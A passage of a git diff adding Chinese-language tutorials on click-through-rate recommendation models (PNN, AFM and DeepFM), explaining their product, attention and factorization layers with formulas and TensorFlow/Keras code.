+z = (z_1, z_2, ..., z_N)
+$$
+总之这一波操作就是将所有的embedding向量中的所有元素都乘以一个矩阵的对应元素，最后相加即可，这一部分比较简单(N表示的是特征的数量，M表示的是所有特征转化为embedding之后维度，也就是N*emb_dim)
+$$
+l_z^n = W_z^n \odot{z} =  \sum_{i=1}^N \sum_{j=1}^M (W_z^n)_{i,j}z_{i,j}
+$$
+
+### Product Layer
+**非线性部分**
+
+上面介绍了线性部分$l_p$的计算，非线性部分的计算相比线性部分要复杂很多，先从整体上看$l_p$的计算
+$$
+l_p=(l_p^1,l_p^2, ..., l_p^{D_1}) \\
+l_p^n = W_p^n \odot{p} \\
+p = \{p_{i,j}\}, i=1,2,...,N,j=1,2,...,N
+$$
+从上述公式中可以发现，$l_p^n$和$l_z^n$类似需要$D_1$个$W_p^n$矩阵计算内积得到，重点就是如何求这个$p$，这里作者提出了两种方式，一种是使用内积计算，另一种是使用外积计算。
+
+#### IPNN
+
+使用内积实现特征交叉就和FM是类似的(两两向量计算内积)，下面将向量内积操作表示如下表达式
+$$
+g(f_i,f_j) = <f_i, f_j>
+$$
+将内积的表达式带入$l_p^n$的计算表达式中有：
+$$
+\begin{aligned}
+
+l_p^n &= W_p^n \odot{p} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j}p_{i,j} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j}<f_i, f_j>
+
+\end{aligned}
+$$
+上面就提到了这里使用的内积是计算两两特征之间的内积，然而向量a和向量b的内积与向量b和向量a的内积是相同的，其实是没必要计算的，看一下下面FM的计算公式：
+$$
+\hat{y}(X) = \omega_{0}+\sum_{i=1}^{n}{\omega_{i}x_{i}}+\sum_{i=1}^{n}{\sum_{j=i+1}^{n} <v_{i},v_{j}>x_{i}x_{j}}
+$$
+也就是说计算的内积矩阵$p$是对称的，那么与其对应元素做矩阵内积的矩阵$W_p^n$也是对称的，对于可学习的权重来说如果是对称的是不是可以只使用其中的一半就行了呢，所以基于这个思考，对Inner Product的权重定义及内积计算进行优化，首先将权重矩阵分解$W_p^n=\theta^n \theta^{nT}$,此时$\theta^n \in R^N$（参数从原来的$N^2$变成了$N$）,将分解后的$W_p^n$带入$l_p^n$的计算公式有：
+$$
+\begin{aligned}
+
+l_p^n &= W_p^n \odot{p} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j}p_{i,j} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N \theta^n \theta^n <f_i, f_j> \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N   <\theta^n f_i, \theta^n f_j> \\
+	  &= <\sum_{i=1}^N \theta^n f_i, \sum_{j=1}^N \theta^n f_j> \\
+	  &= ||\sum_{i=1}^N \theta^n f_i||^2
+\end{aligned}
+$$
+所以优化后的$l_p$的计算公式为：
+$$
+l_p = (||\sum_{i=1}^N \theta^1 f_i||^2, ||\sum_{i=1}^N \theta^2 f_i||^2, ..., ||\sum_{i=1}^N \theta^{D_1} f_i||^2)
+$$
+这里为了好理解不做过多的解释，其实这里对于矩阵分解省略了一些细节，感兴趣的可以去看原文，最后模型实现的时候就是基于上面的这个公式计算的（给出的代码也是基于优化之后的实现）。
+
+#### OPNN
+
+使用外积实现相比于使用内积实现，唯一的区别就是使用向量的外积来计算矩阵$p$,首先定义向量的外积计算
+$$
+g(i,j) = f_i f_j^T
+$$
+从外积公式可以发现两个向量的外积得到的是一个矩阵，与上面介绍的内积计算不太相同，内积得到的是一个数值。内积实现的Product层是将计算得到的内积矩阵，乘以一个与其大小一样的权重矩阵，然后求和，按照这个思路的话，通过外积得到的$p$计算$W_p^n \odot{p}$相当于之前的内积值乘以权重矩阵对应位置的值求和就变成了，外积矩阵乘以权重矩阵中对应位置的子矩阵然后将整个相乘得到的大矩阵对应元素相加，用公式表示如下：
+$$
+\begin{aligned}
+l_p^n &= W_p^n \odot{p} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j}p_{i,j} \\
+	  &= \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j} f_i f_j^T
+\end{aligned}
+$$
+需要注意的是此时的$(W_p^n)_{i,j}$表示的是一个矩阵，而不是一个值，此时计算$l_p$的复杂度是$O(D_1*N^2*M^2)$, 其中$N^2$表示的是特征的组合数量，$M^2$表示的是计算外积的复杂度。这样的复杂度肯定是无法接受的，所以为了优化复杂度，PNN的作者重新定义了$p$的计算方式：
+$$
+p=\sum_{i=1}^{N} \sum_{j=1}^{N} f_{i} f_{j}^{T}=f_{\Sigma}\left(f_{\Sigma}\right)^{T} \\
+f_{\Sigma}=\sum_{i=1}^{N} f_{i}
+$$
+需要注意，这里新定义的外积计算与传统的外积计算时不等价的，这里是为了优化计算效率重新定义的计算方式，从公式中可以看出，相当于先将原来的embedding向量在特征维度上先求和，变成一个向量之后再计算外积。加入原embedding向量表示为$E \in R^{N\times M}$，其中$N$表示特征的数量，M表示的是所有特征的总维度，即$N*emb\_dim$, 在特征维度上进行求和就是将$E \in R^{N\times M}$矩阵压缩成了$E \in R^M$, 然后两个$M$维的向量计算外积得到最终所有特征的外积交叉结果$p\in R^{M\times M}$，最终的$l_p^n$可以表示为：
+$$
+l_p^n = W_p^n \odot{p} = \sum_{i=1}^N \sum_{j=1}^N (W_p^n)_{i,j}p_{i,j} \\
+$$
+最终的计算方式和$l_z$的计算方式看起来差不多，但是需要注意外积优化后的$W_p^n$的维度是$R^{M \times M}$的，$M$表示的是特征矩阵的维度，即$N*emb\_dim$。
+
+> 虽然叠加概念的引入可以降低计算开销，但是中间的精度损失也是很大的，性能与精度之间的tradeoff
+
+## 代码实现
+
+代码实现的整体逻辑比较简单，就是对类别特征进行embedding编码，然后通过embedding特征计算$l_z,l_p$, 接着将$l_z, l_p$的输出concat到一起输入到DNN中得到最终的预测结果
+
+```python
+def PNN(dnn_feature_columns, inner=True, outer=True):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    _, sparse_input_dict = build_input_layers(dnn_feature_columns)
+
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(sparse_input_dict.values())
+    
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    embedding_layer_dict = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+
+    sparse_embed_list = concat_embedding_list(dnn_feature_columns, sparse_input_dict, embedding_layer_dict, flatten=False)
+
+    dnn_inputs = ProductLayer(units=32, use_inner=True, use_outer=True)(sparse_embed_list)
+    
+    # 输入到dnn中，需要提前定义需要几个残差块
+    output_layer = get_dnn_logits(dnn_inputs)
+
+    model = Model(input_layers, output_layer)
+    return model
+```
+
+PNN的难点就是Product层的实现，下面是Product 层实现的代码，代码中是使用优化之后$l_p$的计算方式编写的, 代码中有详细的注释，但是要完全理解代码还需要去理解上述说过的优化思路。
+
+```python
+class ProductLayer(Layer):
+    def __init__(self, units, use_inner=True, use_outer=False):
+        super(ProductLayer, self).__init__()
+        self.use_inner = use_inner
+        self.use_outer = use_outer
+        self.units = units # 指的是原文中D1的大小
+
+    def build(self, input_shape):
+        # 需要注意input_shape也是一个列表，并且里面的每一个元素都是TensorShape类型，
+        # 需要将其转换成list然后才能参与数值计算，不然类型容易错
+        # input_shape[0] : feat_nums x embed_dims
+        self.feat_nums = len(input_shape)
+        self.embed_dims = input_shape[0].as_list()[-1]
+        flatten_dims = self.feat_nums * self.embed_dims
+
+        # Linear signals weight, 这部分是用于产生Z的权重，因为这里需要计算的是两个元素对应元素乘积然后再相加
+        # 等价于先把矩阵拉成一维，然后相乘再相加
+        self.linear_w = self.add_weight(name='linear_w', shape=(flatten_dims, self.units), initializer='glorot_normal')
+
+        # inner product weight
+        if self.use_inner:
+            # 优化之后的内积权重是未优化时的一个分解矩阵，未优化时的矩阵大小为：D x N x N 
+            # 优化后的内积权重大小为：D x N
+            self.inner_w = self.add_weight(name='inner_w', shape=(self.units, self.feat_nums), initializer='glorot_normal')
+
+        if self.use_outer:
+            # 优化之后的外积权重大小为：D x embed_dim x embed_dim, 因为计算外积的时候在特征维度通过求和的方式进行了压缩
+            self.outer_w = self.add_weight(name='outer_w', shape=(self.units, self.embed_dims, self.embed_dims), initializer='glorot_normal')
+        
+
+    def call(self, inputs):
+        # inputs是一个列表
+        # 先将所有的embedding拼接起来计算线性信号部分的输出
+        concat_embed = Concatenate(axis=1)(inputs) # B x feat_nums x embed_dims
+        # 将两个矩阵都拉成二维的，然后通过矩阵相乘得到最终的结果
+        concat_embed_ = tf.reshape(concat_embed, shape=[-1, self.feat_nums * self.embed_dims])
+        lz = tf.matmul(concat_embed_, self.linear_w) # B x units
+
+        # inner
+        lp_list = []
+        if self.use_inner:
+            for i in range(self.units):
+                # 相当于给每一个特征向量都乘以一个权重
+                # self.inner_w[i] : (embed_dims, ) 添加一个维度变成 (embed_dims, 1)
+                # concat_embed: B x feat_nums x embed_dims; delta = B x feat_nums x embed_dims
+                delta = tf.multiply(concat_embed, tf.expand_dims(self.inner_w[i], axis=1)) 
+                # 在特征之间的维度上求和
+                delta = tf.reduce_sum(delta, axis=1) # B x embed_dims
+                # 最终在特征embedding维度上求二范数得到p
+                lp_list.append(tf.reduce_sum(tf.square(delta), axis=1, keepdims=True)) # B x 1
+            
+        # outer
+        if self.use_outer:
+            # 外积的优化是将embedding矩阵，在特征间的维度上通过求和进行压缩
+            feat_sum = tf.reduce_sum(concat_embed, axis=1) # B x embed_dims
+            
+            # 为了方便计算外积，将维度进行扩展
+            f1 = tf.expand_dims(feat_sum, axis=2) # B x embed_dims x 1
+            f2 = tf.expand_dims(feat_sum, axis=1) # B x 1 x embed_dims
+
+            # 求外积, a * a^T
+            product = tf.matmul(f1, f2) # B x embed_dims x embed_dims
+
+            # 将product与外积权重矩阵对应元素相乘再相加
+            for i in range(self.units):
+                lpi = tf.multiply(product, self.outer_w[i]) # B x embed_dims x embed_dims
+                # 将后面两个维度进行求和，需要注意的是，每使用一次reduce_sum就会减少一个维度
+                lpi = tf.reduce_sum(lpi, axis=[1, 2]) # B
+                # 添加一个维度便于特征拼接
+                lpi = tf.expand_dims(lpi, axis=1) # B x 1
+                lp_list.append(lpi)
+            
+        # 将所有交叉特征拼接到一起
+        lp = Concatenate(axis=1)(lp_list)
+
+        # 将lz和lp拼接到一起
+        product_out =  Concatenate(axis=1)([lz, lp])
+        
+        return product_out
+```
+
+因为这个模型的整体实现框架比较简单，就不画实现的草图了，直接看模型搭建的函数即可，对于PNN重点需要理解Product的两种类型及不同的优化方式。
+
+下面是一个通过keras画的模型结构图，为了更好的显示，类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center> <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片PNN.png" alt="image-20210308143101261" style="zoom: 50%;" />
+</div>
+
+## 思考题
+
+1. 降低复杂度的具体策略与具体的product函数选择有关，IPNN其实通过矩阵分解，“跳过”了显式的product层，而OPNN则是直接在product层入手进行优化。看原文去理解优化的动机及细节。
+
+
+**参考文献**
+- [PNN原文论文](https://arxiv.org/pdf/1611.00144.pdf)
+- [推荐系统系列（四）：PNN理论与实践](https://zhuanlan.zhihu.com/p/89850560)
+- [deepctr](https://github.com/shenweichen/DeepCTR)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md
new file mode 100644
index 0000000..1de9803
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/AFM.md
@@ -0,0 +1,127 @@
+# AFM
+## AFM提出的动机
+
+AFM的全称是Attentional Factorization Machines, 从模型的名称上来看是在FM的基础上加上了注意力机制，FM是通过特征隐向量的内积来对交叉特征进行建模，从公式中可以看出所有的交叉特征都具有相同的权重也就是1，没有考虑到不同的交叉特征的重要性程度：
+$$
+y_{fm} = w_0+\sum_{i=1}^nw_ix_i+\sum_{i=1}^{n}\sum_{i+1}^n\lt v_i,v_j\gt x_ix_j
+$$
+如何让不同的交叉特征具有不同的重要性就是AFM核心的贡献，在谈论AFM交叉特征注意力之前，对于FM交叉特征部分的改进还有FFM，其是考虑到了对于不同的其他特征，某个指定特征的隐向量应该是不同的（相比于FM对于所有的特征只有一个隐向量，FFM对于一个特征有多个不同的隐向量）。
+
+## AFM模型原理
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210131092744905.png" alt="image-20210131092744905" style="zoom: 50%;" />
+</div>
+上图表示的就是AFM交叉特征部分的模型结构(非交叉部分与FM是一样的，图中并没有给出)。AFM最核心的两个点分别是Pair-wise Interaction Layer和Attention-based Pooling。前者将输入的非零特征的隐向量两两计算element-wise product(哈达玛积，两个向量对应元素相乘，得到的还是一个向量)，假如输入的特征中的非零向量的数量为m，那么经过Pair-wise Interaction Layer之后输出的就是$\frac{m(m-1)}{2}$个向量，再将前面得到的交叉特征向量组输入到Attention-based Pooling，该pooling层会先计算出每个特征组合的自适应权重(通过Attention Net进行计算)，通过加权求和的方式将向量组压缩成一个向量，由于最终需要输出的是一个数值，所以还需要将前一步得到的向量通过另外一个向量将其映射成一个值，得到最终的基于注意力加权的二阶交叉特征的输出。(对于这部分如果不是很清楚，可以先看下面对两个核心层的介绍)
+
+### Pair-wise Interaction Layer
+
+FM二阶交叉项：所有非零特征对应的隐向量两两点积再求和，输出的是一个数值
+$$
+\sum_{i=1}^{n}\sum_{i+1}^n\lt v_i,v_j\gt x_ix_j
+$$
+AFM二阶交叉项(无attention)：所有非零特征对应的隐向量两两对应元素乘积，然后再向量求和，输出的还是一个向量。
+$$
+\sum_{i=1}^{n}\sum_{i+1}^n (v_i \odot v_j) x_ix_j
+$$
+上述写法是为了更好的与FM进行对比，下面将公式变形方便与原论文中保持一致。首先是特征的隐向量。从上图中可以看出，作者对数值特征也对应了一个隐向量，不同的数值乘以对应的隐向量就可以得到不同的隐向量，相对于onehot编码的特征乘以1还是其本身(并没有什么变化)，其实就是为了将公式进行统一。虽然论文中给出了对数值特征定义隐向量，但是在作者的代码中并没有发现有对数值特征进行embedding的过程([原论文代码链接](https://github.com/hexiangnan/attentional_factorization_machine/blob/master/code/AFM.py)）具体原因不详。
+
+按照论文的意思，特征的embedding可以表示为：$\varepsilon = {v_ix_i}$，经过Pair-wise Interaction Layer输出可得：
+$$
+f_{PI}(\varepsilon)=\{(v_i \odot v_j) x_ix_j\}_{i,j \in R_x}
+$$
+$R_x$表示的是有效特征集合。此时的$f_{PI}(\varepsilon)$表示的是一个向量集合，所以需要先将这些向量集合聚合成一个向量，然后在转换成一个数值：
+$$
+\hat{y} = p^T \sum_{(i,j)\in R_x}(v_i \odot v_j) x_ix_j + b
+$$
+上式中的求和部分就是将向量集合聚合成一个维度与隐向量维度相同的向量，通过向量$p$再将其转换成一个数值，b表示的是偏置。
+
+从开始介绍Pair-wise Interaction Layer到现在解决的一个问题是，如何将使用哈达玛积得到的交叉特征转换成一个最终输出需要的数值，到目前为止交叉特征之间的注意力权重还没有出现。在没有详细介绍注意力之前先感性的认识一下如果现在已经有了每个交叉特征的注意力权重，那么交叉特征的输出可以表示为：
+$$
+\hat{y} = p^T \sum_{(i,j)\in R_x}\alpha_{ij}(v_i \odot v_j) x_ix_j + b
+$$
+就是在交叉特征得到的新向量前面乘以一个注意力权重$\alpha_{ij}$, 那么这个注意力权重如何计算得到呢？
+
+### Attention-based Pooling
+
+对于神经网络注意力相关的基础知识大家可以去看一下邱锡鹏老师的《神经网络与深度学习》第8章注意力机制与外部记忆。这里简单的叙述一下使用MLP实现注意力机制的计算。假设现在有n个交叉特征(假如维度是k)，将nxk的数据输入到一个kx1的全连接网络中，输出的张量维度为nx1，使用softmax函数将nx1的向量的每个维度进行归一化，得到一个新的nx1的向量，这个向量所有维度加起来的和为1，每个维度上的值就可以表示原nxk数据每一行(即1xk的数据)的权重。用公式表示为：
+$$
+\alpha_{ij}' = h^T ReLU(W(v_i \odot v_j)x_ix_j + b)
+$$
+使用softmax归一化可得：
+$$
+\alpha_{ij} = \frac{exp(\alpha_{ij}')}{\sum_{(i,j)\in R_x}exp(\alpha_{ij}')}
+$$
+这样就得到了AFM二阶交叉部分的注意力权重，如果将AFM的一阶项写在一起，AFM模型用公式表示为：
+$$
+\hat{y}_{afm}(x) = w_0+\sum_{i=1}^nw_ix_i+p^T \sum_{(i,j)\in R_x}\alpha_{ij}(v_i \odot v_j) x_ix_j + b
+$$
+### AFM模型训练
+
+AFM从最终的模型公式可以看出与FM的模型公式是非常相似的，所以也可以和FM一样应用于不同的任务，例如分类、回归及排序（不同的任务的损失函数是不一样的），AFM也有对防止过拟合进行处理：
+
+1. 在Pair-wise Interaction Layer层的输出结果上使用dropout防止过拟合，因为并不是所有的特征组合对预测结果都有用，所以随机的去除一些交叉特征，让剩下的特征去自适应的学习可以更好的防止过拟合。
+2. 对Attention-based Pooling层中的权重矩阵$W$使用L2正则，作者没有在这一层使用dropout的原因是发现同时在特征交叉层和注意力层加dropout会使得模型训练不稳定，并且性能还会下降。
+
+加上正则参数之后的回归任务的损失函数表示为：
+$$
+L = \sum_{x\in T} (\hat{y}_{afm}(x) - y(x))^2 + \lambda ||W||^2
+$$
+## AFM代码实现
+
+1. linear part: 这部分是有关于线性计算，也就是FM的前半部分$w1x1+w2x2...wnxn+b$的计算。对于这一块的计算，我们用了一个get_linear_logits函数实现，后面再说，总之通过这个函数，我们就可以实现上面这个公式的计算过程，得到linear的输出
+2. dnn part: 这部分是后面交叉特征的那部分计算，这一部分需要使用注意力机制来将所有类别特征的embedding计算注意力权重，然后通过加权求和的方式将所有交叉之后的特征池化成一个向量，最终通过一个映射矩阵$p$将向量转化成一个logits值
+3. 最终将linear部分与dnn部分相加之后，通过sigmoid激活得到最终的输出
+
+```python
+def AFM(linear_feature_columns, dnn_feature_columns):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns + dnn_feature_columns)
+
+    # 将linear部分的特征中sparse特征筛选出来，后面用来做1维的embedding
+    linear_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), linear_feature_columns))
+
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+
+    # linear_logits由两部分组成，分别是dense特征的logits和sparse特征的logits
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_sparse_feature_columns)
+
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    # embedding层用户构建FM交叉部分和DNN的输入部分
+    embedding_layers = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+
+    # 将输入到dnn中的sparse特征筛选出来
+    att_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), dnn_feature_columns))
+
+    att_logits = get_attention_logits(sparse_input_dict, att_sparse_feature_columns, embedding_layers) # B x (n(n-1)/2)
+    
+    # 将linear,dnn的logits相加作为最终的logits
+    output_logits = Add()([linear_logits, att_logits])
+
+    # 这里的激活函数使用sigmoid
+    output_layers = Activation("sigmoid")(output_logits)
+
+    model = Model(input_layers, output_layers)
+    return model
+```
+
+关于每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210307200304199.png" alt="image-20210307200304199" style="zoom:67%;" />
+</div>
+
+下面是一个通过keras画的模型结构图，为了更好的显示，数值特征和类别特征都只是选择了一小部分，画图的代码也在github中。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片AFM.png" alt="image-20210307200304199" style="zoom:67%;" />
+</div>
+
+## 思考
+1. AFM与NFM优缺点对比。
+
+
+**参考资料**
+[原论文](https://www.ijcai.org/Proceedings/2017/0435.pdf)
+[deepctr](https://github.com/shenweichen/DeepCTR)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md
new file mode 100644
index 0000000..5ee74dd
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.2/ch2.2.3/DeepFM.md
@@ -0,0 +1,156 @@
+# DeepFM
+## 动机
+对于CTR问题，被证明的最有效的提升任务表现的策略是特征组合(Feature Interaction), 在CTR问题的探究历史上来看就是如何更好地学习特征组合，进而更加精确地描述数据的特点。可以说这是基础推荐模型到深度学习推荐模型遵循的一个主要的思想。而组合特征大牛们研究过组合二阶特征，三阶甚至更高阶，但是面临一个问题就是随着阶数的提升，复杂度就成几何倍的升高。这样即使模型的表现更好了，但是推荐系统在实时性的要求也不能满足了。所以很多模型的出现都是为了解决另外一个更加深入的问题：如何更高效的学习特征组合？
+
+为了解决上述问题，出现了FM和FFM来优化LR的特征组合较差这一个问题。并且在这个时候科学家们已经发现了DNN在特征组合方面的优势，所以又出现了FNN和PNN等使用深度网络的模型。但是DNN也存在局限性。
+
+- **DNN局限**
+当我们使用DNN网络解决推荐问题的时候存在网络参数过于庞大的问题，这是因为在进行特征处理的时候我们需要使用one-hot编码来处理离散特征，这会导致输入的维度猛增。这里借用AI大会的一张图片：
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2021-02-22-10-11-15.png" style="zoom: 50%;" />
+</div>
+
+这样庞大的参数量也是不实际的。为了解决DNN参数量过大的局限性，可以采用非常经典的Field思想，将OneHot特征转换为Dense Vector
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2021-02-22-10-11-40.png" style="zoom: 50%;" />
+</div>
+
+此时通过增加全连接层就可以实现高阶的特征组合，如下图所示：
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2021-02-22-10-11-59.png" style="zoom:67%;" />
+</div>
+但是仍然缺少低阶的特征组合，于是增加FM来表示低阶的特征组合。
+
+- **FNN和PNN**
+结合FM和DNN其实有两种方式，可以并行结合也可以串行结合。这两种方式各有几种代表模型。在DeepFM之前有FNN，虽然在影响力上可能并不如DeepFM，但是了解FNN的思想对我们理解DeepFM的特点和优点是很有帮助的。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片2021-02-22-10-12-19.png" style="zoom:50%;" />
+</div>
+
+FNN是使用预训练好的FM模块，得到隐向量，然后把隐向量作为DNN的输入，但是经过实验进一步发现，在Embedding layer和hidden layer1之间增加一个product层（如上图所示）可以提高模型的表现，所以提出了PNN，使用product layer替换FM预训练层。
+
+- **Wide&Deep**
+FNN和PNN模型仍然有一个比较明显的尚未解决的缺点：对于低阶组合特征学习到的比较少，这一点主要是由于FM和DNN的串行方式导致的，也就是虽然FM学到了低阶特征组合，但是DNN的全连接结构导致低阶特征并不能在DNN的输出端较好的表现。看来我们已经找到问题了，将串行方式改进为并行方式能比较好的解决这个问题。于是Google提出了Wide&Deep模型（将前几章），但是如果深入探究Wide&Deep的构成方式，虽然将整个模型的结构调整为了并行结构，在实际的使用中Wide Module中的部分需要较为精巧的特征工程，换句话说人工处理对于模型的效果具有比较大的影响（这一点可以在Wide&Deep模型部分得到验证）。
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/Javaimage-20200910214310877.png" alt="image-20200910214310877" style="zoom:65%;" />
+</div>
+如上图所示，该模型仍然存在问题：**在output Units阶段直接将低阶和高阶特征进行组合，很容易让模型最终偏向学习到低阶或者高阶的特征，而不能做到很好的结合。**
+
+综上所示，DeepFM模型横空出世。
+
+## 模型的结构与原理
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210225180556628.png" alt="image-20210225180556628" style="zoom:50%;" />
+</div>
+
+前面的Field和Embedding处理是和前面的方法是相同的，如上图中的绿色部分；DeepFM将Wide部分替换为了FM layer如上图中的蓝色部分
+
+这幅图其实有很多的点需要注意，很多人都一眼略过了，这里我个人认为在DeepFM模型中有三点需要注意：
+
+  - **Deep模型部分**
+  - **FM模型部分**
+  - **Sparse Feature中黄色和灰色节点代表什么意思**
+
+### FM
+详细内容参考FM模型部分的内容，下图是FM的一个结构图，从图中大致可以看出FM Layer是由一阶特征和二阶特征Concatenate到一起在经过一个Sigmoid得到logits（结合FM的公式一起看），所以在实现的时候需要单独考虑linear部分和FM交叉特征部分。
+$$
+\hat{y}_{FM}(x) = w_0+\sum_{i=1}^N w_ix_i + \sum_{i=1}^N \sum_{j=i+1}^N v_i^T v_j x_ix_j
+$$
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210225181340313.png" alt="image-20210225181340313" style="zoom: 67%;" />
+</div>
+### Deep
+Deep架构图
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210225181010107.png" alt="image-20210225181010107" style="zoom:50%;" />
+</div>
+Deep Module是为了学习高阶的特征组合，在上图中使用用全连接的方式将Dense Embedding输入到Hidden Layer，这里面Dense Embeddings就是为了解决DNN中的参数爆炸问题，这也是推荐模型中常用的处理方法。
+
+Embedding层的输出是将所有id类特征对应的embedding向量concat到到一起输入到DNN中。其中$v_i$表示第i个field的embedding，m是field的数量。
+$$
+z_1=[v_1, v_2, ..., v_m]
+$$
+上一层的输出作为下一层的输入，我们得到：
+$$
+z_L=\sigma(W_{L-1} z_{L-1}+b_{L-1})
+$$
+其中$\sigma$表示激活函数，$z, W, b $分别表示该层的输入、权重和偏置。
+
+最后进入DNN部分输出使用sigmod激活函数进行激活：
+$$
+y_{DNN}=\sigma(W^{L}a^L+b^L)
+$$
+
+
+## 代码实现
+DeepFM在模型的结构图中显示，模型大致由两部分组成，一部分是FM，还有一部分就是DNN, 而FM又由一阶特征部分与二阶特征交叉部分组成，所以可以将整个模型拆成三部分，分别是一阶特征处理linear部分，二阶特征交叉FM以及DNN的高阶特征交叉。在下面的代码中也能够清晰的看到这个结构。此外每一部分可能由是由不同的特征组成，所以在构建模型的时候需要分别对这三部分输入的特征进行选择。
+
+- linear_logits:  这部分是有关于线性计算，也就是FM的前半部分$w1x1+w2x2...wnxn+b$的计算。对于这一块的计算，我们用了一个get_linear_logits函数实现，后面再说，总之通过这个函数，我们就可以实现上面这个公式的计算过程，得到linear的输出， 这部分特征由数值特征和类别特征的onehot编码组成的一维向量组成，实际应用中根据自己的业务放置不同的一阶特征(这里的dense特征并不是必须的，有可能会将数值特征进行分桶，然后在当做类别特征来处理)
+- fm_logits:  这一块主要是针对离散的特征，首先过embedding，然后使用FM特征交叉的方式，两两特征进行交叉，得到新的特征向量，最后计算交叉特征的logits
+- dnn_logits:   这一块主要是针对离散的特征，首先过embedding，然后将得到的embedding拼接成一个向量(具体的可以看代码，也可以看一下下面的模型结构图)，通过dnn学习类别特征之间的隐式特征交叉并输出logits值 
+
+```python
+def DeepFM(linear_feature_columns, dnn_feature_columns):
+    # 构建输入层，即所有特征对应的Input()层，这里使用字典的形式返回，方便后续构建模型
+    dense_input_dict, sparse_input_dict = build_input_layers(linear_feature_columns + dnn_feature_columns)
+
+    # 将linear部分的特征中sparse特征筛选出来，后面用来做1维的embedding
+    linear_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), linear_feature_columns))
+
+    # 构建模型的输入层，模型的输入层不能是字典的形式，应该将字典的形式转换成列表的形式
+    # 注意：这里实际的输入与Input()层的对应，是通过模型输入时候的字典数据的key与对应name的Input层
+    input_layers = list(dense_input_dict.values()) + list(sparse_input_dict.values())
+
+    # linear_logits由两部分组成，分别是dense特征的logits和sparse特征的logits
+    linear_logits = get_linear_logits(dense_input_dict, sparse_input_dict, linear_sparse_feature_columns)
+
+    # 构建维度为k的embedding层，这里使用字典的形式返回，方便后面搭建模型
+    # embedding层用户构建FM交叉部分和DNN的输入部分
+    embedding_layers = build_embedding_layers(dnn_feature_columns, sparse_input_dict, is_linear=False)
+
+    # 将输入到dnn中的所有sparse特征筛选出来
+    dnn_sparse_feature_columns = list(filter(lambda x: isinstance(x, SparseFeat), dnn_feature_columns))
+
+    fm_logits = get_fm_logits(sparse_input_dict, dnn_sparse_feature_columns, embedding_layers) # 只考虑二阶项
+
+    # 将所有的Embedding都拼起来，一起输入到dnn中
+    dnn_logits = get_dnn_logits(sparse_input_dict, dnn_sparse_feature_columns, embedding_layers)
+    
+    # 将linear,FM,dnn的logits相加作为最终的logits
+    output_logits = Add()([linear_logits, fm_logits, dnn_logits])
+
+    # 这里的激活函数使用sigmoid
+    output_layers = Activation("sigmoid")(output_logits)
+
+    model = Model(input_layers, output_layers)
+    return model
+```
+
+关于每一块的细节，这里就不解释了，在我们给出的GitHub代码中，我们已经加了非常详细的注释，大家看那个应该很容易看明白， 为了方便大家的阅读，我们这里还给大家画了一个整体的模型架构图，帮助大家更好的了解每一块以及前向传播（画的图不是很规范，先将就看一下，后面我们会统一在优化一下这个手工图）。
+
+<div align=center>
